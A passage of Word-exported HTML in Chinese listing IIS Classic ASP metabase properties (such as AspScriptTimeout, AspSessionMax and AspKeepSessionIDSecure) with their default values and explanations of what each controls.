Roman'">等等。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspEnableTracker = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将启动</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">跟踪器，管理员或开发人员可用其来调试</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspEnableTypelibCache = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是否在服务器上缓存类型库</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspErrorsToNTLog = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是否将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">脚本错误写入到</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">事件日志中</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspExceptionCatchEnable = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">页面是否捕获组件产生的异常。如果设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（或者禁用），那么</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Microsoft </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">脚本调试程序工具将不捕捉所调试的组件发生的异常。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspExecuteInMTA = 0<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">能够在一个多线程单元</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (MTA) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中运行其全部线程。如果</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">组件主要是自由线程或双线程组件，则将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">线程作为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> MTA </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">运行可显著改善性能。默认情况下，</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">AspExecuteInMTA </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 0</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，这意味着</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">不在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> MTA </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中执行。在应用程序级别上将该属性设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可以使</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> MTA </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中运行。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspKeepSessionIDSecure = 0<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">启用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AspKeepSessionIDSecure </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性后，它可以确保将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> SessionID </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">作为安全</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Cookie </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发送（如果已在安全通道上分配的话）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspLCID = 2048<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">用程序指定默认的区域设置标识符</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (LCID)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspLogErrorRequests = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">控制</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器是否将失败的客户请求写入到</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">事件日志文件中</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspMaxDiskTemplateCacheFiles = 2000<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定存储已编译</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">模板的最大数量。存储已编译模板的目录由</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AspDiskTemplateCacheDirectory </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性配置。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspMaxRequestEntityAllowed = 204800<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定一个</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">请求的实体正文中允许的最多字节数。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspPartitionID =<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分区用于将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序隔离到其各自的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分区。</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分区保存不同的自定义</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">组件的版本。将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AspPartitionID </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分区的全局唯一标识符</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (GUID)</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。同时，设置</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AspAppServiceFlags </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">配置数据库属性的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AspUsePartition </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">标志。在应用程序级别设置这两个属性</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspProcessorThreadMax = 25<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可创建的每个处理器的最大工作线程数</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">AspQueueConnectionTestTime = 3<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>IIS </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">将所有的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"> ASP </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">请求放置到队列中。如果请求在队列中等待的时间比</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"> AspQueueConnectionTestTime </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">属性指定的时间（以秒为单位）长，则</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"> ASP </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">将在执行请求前检查确定客户端是否仍是连接的。如果客户端已断开连接，则不处理该请求并且从队列中删除该请求。</SPAN></P><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspQueueTimeout = -1<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">允许</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">脚本请求在队列中等待的时间（以秒为单位）。无穷大表示为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> -1</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspRequestQueueMax = 3000<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">允许进入队列的并发</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">请求的最大数目。在队列占满时，任何试图请求</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件的客户端浏览器都将收到</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTTP 500</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">“服务器太忙”的错误。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspRunOnEndAnonymously = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定了</SPAN><SPAN lang=EN-US><FONT face="Times , New , Roman"> SessionOnEnd </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ApplicationOnEnd </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">全局</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">函数是否应该作为匿名用户运行</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspScriptEngineCacheMax = 250<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">页面将在内存中保持缓存的脚本引擎的最大数目</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspScriptErrorMessage = </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">处理</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">时服务器出错。请与系统管理员联系。</SPAN><SPAN lang=EN-US><SPAN style="mso-tab-count: 1"><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp; </FONT></SPAN></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">特殊调试错误没有被发送到客户端时（如果将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AspScriptErrorSentToBrowser </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置成</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> false</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）将发送给浏览器的错误消息</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspScriptErrorSentToBrowser = True<SPAN style="mso-tab-count: 1">&nbsp; </SPAN>Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器是否将调试细节（文件名、错误、行号、描述）写到客户端浏览器，并且记录到</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">事件日志中</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspScriptFileCacheSize = 500<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">要缓存的预编译脚本文件数。如果设置为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 0</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，则不缓存任何脚本文件</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspScriptLanguage = VBScript<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">运行在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器上的所有</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序的默认脚本语言</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspScriptTimeout = 90<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>AspScriptTimeout </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">属性指定了在终止脚本和将事件写入</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">事件日志之前，</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">页面允许的脚本运行时间的默认值（以秒为单位）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspSessionMax = -1<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">允许的最大并发会话数。当达到该限制时，如果客户端试图与</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">建立新连接，则客户端将接收到错误信息（</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">HTTP 500</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">“服务器太忙”）。无穷大表示为</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> -1</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspSessionTimeout = 20<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">完成最后的与</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Session </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">对象相关的请求后，保留该对象的时间（以分钟为单位）。</SPAN></P>
